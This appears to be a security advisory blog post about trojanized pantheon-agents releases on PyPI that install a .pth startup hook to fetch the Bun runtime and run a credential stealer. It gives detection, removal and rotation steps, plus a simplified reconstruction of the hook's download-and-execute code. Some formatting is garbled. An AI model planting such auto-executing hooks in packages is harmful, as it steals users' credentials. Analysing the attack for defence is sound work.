Listen to this Post
The `pantheon-agents` PyPI package, a legitimate project maintained by the Aristoteleo organization, was compromised in June 2026 as part of the “Hades” wave of the Shai-Hulud / Miasma software supply-chain campaign. The attacker obtained a long-lived PyPI API token belonging to the package maintainer and used it to upload trojanized releases — versions 0.6.1 and 0.6.2 — directly to PyPI.
The malicious wheel artifacts ship a `‑setup.pth` file that is placed into the Python `site-packages` directory. Python automatically executes all `.pth` files at every interpreter startup — not merely when the package is imported — making this a highly reliable persistence and execution mechanism. The `.pth` file contains a single line of heavily obfuscated Python code that uses systematically renamed single-letter aliases for imported modules (os as _O, `tempfile` as _T, `urllib.request` as _u, `subprocess` as _s, `platform` as _p, etc.) to hide its behavior from static AST inspection.
Upon execution, the payload downloads the Bun JavaScript runtime from GitHub (https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{platform}-{arch}.zip`) to/tmp/b/bun, sets executable permissions (chmod 0o775), and runs it against an obfuscated credential stealer script (_index.js). A sentinel file at `/tmp/.bun_ran` prevents re-execution on subsequent Python startups. The Bun runtime executes the JavaScript stealer, which harvests and exfiltrates credentials reachable from the host — environment variables,~/.pypirc,~/.npmrc, cloud credentials (~/.aws, etc.), SSH keys, and API tokens. The stealer also actively queries online services for additional secrets and attempts to gain persistence by publishing infected packages using collected credentials.
Only the PyPI artifacts are affected. The GitHub source repository, its git tags, and all other distribution channels remain clean — no malicious code was ever committed to the repository. The PyPI account has been suspended and the malicious token disabled. PyPI distribution will resume after account recovery and migration to PyPI Trusted Publishing (OIDC). Sibling projects by the same maintainer were hit by the same campaign and are being remediated separately.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: PyPI (Python)
Version: 0.6.1, 0.6.2
Vulnerability: Malicious Code
Severity: Critical
Date: 2026-06-06
<h2 style="color: blue;">Prediction: 2026-07-15</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Check for Indicators of Compromise:</h2>
Check for unexpected .pth files in site-packages find /path/to/site-packages -name "-setup.pth" -type f Check for Bun runtime installation ls -la ~/.bun /tmp/b /tmp/.bun_ran Check for the stealer script find ~ -name "_index.js" 2>/dev/null Check Python startup hook execution python -c "import site; print(site.getsitepackages())"
<h2 style="color: blue;">Remove the malicious package:</h2>
pip uninstall pantheon-agents
<h2 style="color: blue;">Verify installed version:</h2>
pip show pantheon-agents | grep Version
Rotate all exposed credentials (API keys, tokens, SSH keys, cloud credentials).
<h2 style="color: blue;">Install only from the clean GitHub source:</h2>
pip install "git+https://github.com/aristoteleo/PantheonOS.git"
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
The attack leverages Python's `.pth` file auto-execution behavior. A `.pth` file placed in `site-packages` executes its contents when the Python interpreter starts. The obfuscated payload:
Obfuscated .pth payload (simplified for illustration)
import os as _O, tempfile as _T, urllib.request as _u, subprocess as _s, platform as _p
_u.urlretrieve(
f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{_p.system()}-{_p.machine()}.zip",
"/tmp/b/bun.zip"
)
Extract, chmod, and execute Bun with _index.js
_s.run(["/tmp/b/bun", "/path/to/_index.js"])
The Bun runtime executes_index.js, an obfuscated credential stealer that exfiltrates data to attacker-controlled infrastructure.~/.aws
<h2 style="color: blue;">Protection:</h2>
- Do not install `pantheon-agents` from PyPI until distribution resumes.
- If installed version 0.6.1 or 0.6.2, run `pip uninstall pantheon-agents` immediately.
- Rotate every credential present on the affected machine — API keys, tokens, SSH keys, cloud credentials (, etc.), and package repository credentials.pip install “git+https://github.com/aristoteleo/PantheonOS.git”
- Install only from the clean GitHub source:.pantheon-agents
- Monitor PyPI for trusted publishing (OIDC) migration completion before reinstalling from PyPI.
<h2 style="color: blue;">Impact:</h2>
Anyone who `pip install`ed 0.6.1 or 0.6.2 should assume every credential present on that machine has been exfiltrated. This includes environment variables,~/.pypirc,~/.npmrc, cloud credentials (~/.aws`, etc.), SSH keys, API tokens, cryptocurrency assets, and password manager data. The stealer also attempts to gain persistence and spread further by publishing infected packages using collected credentials.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
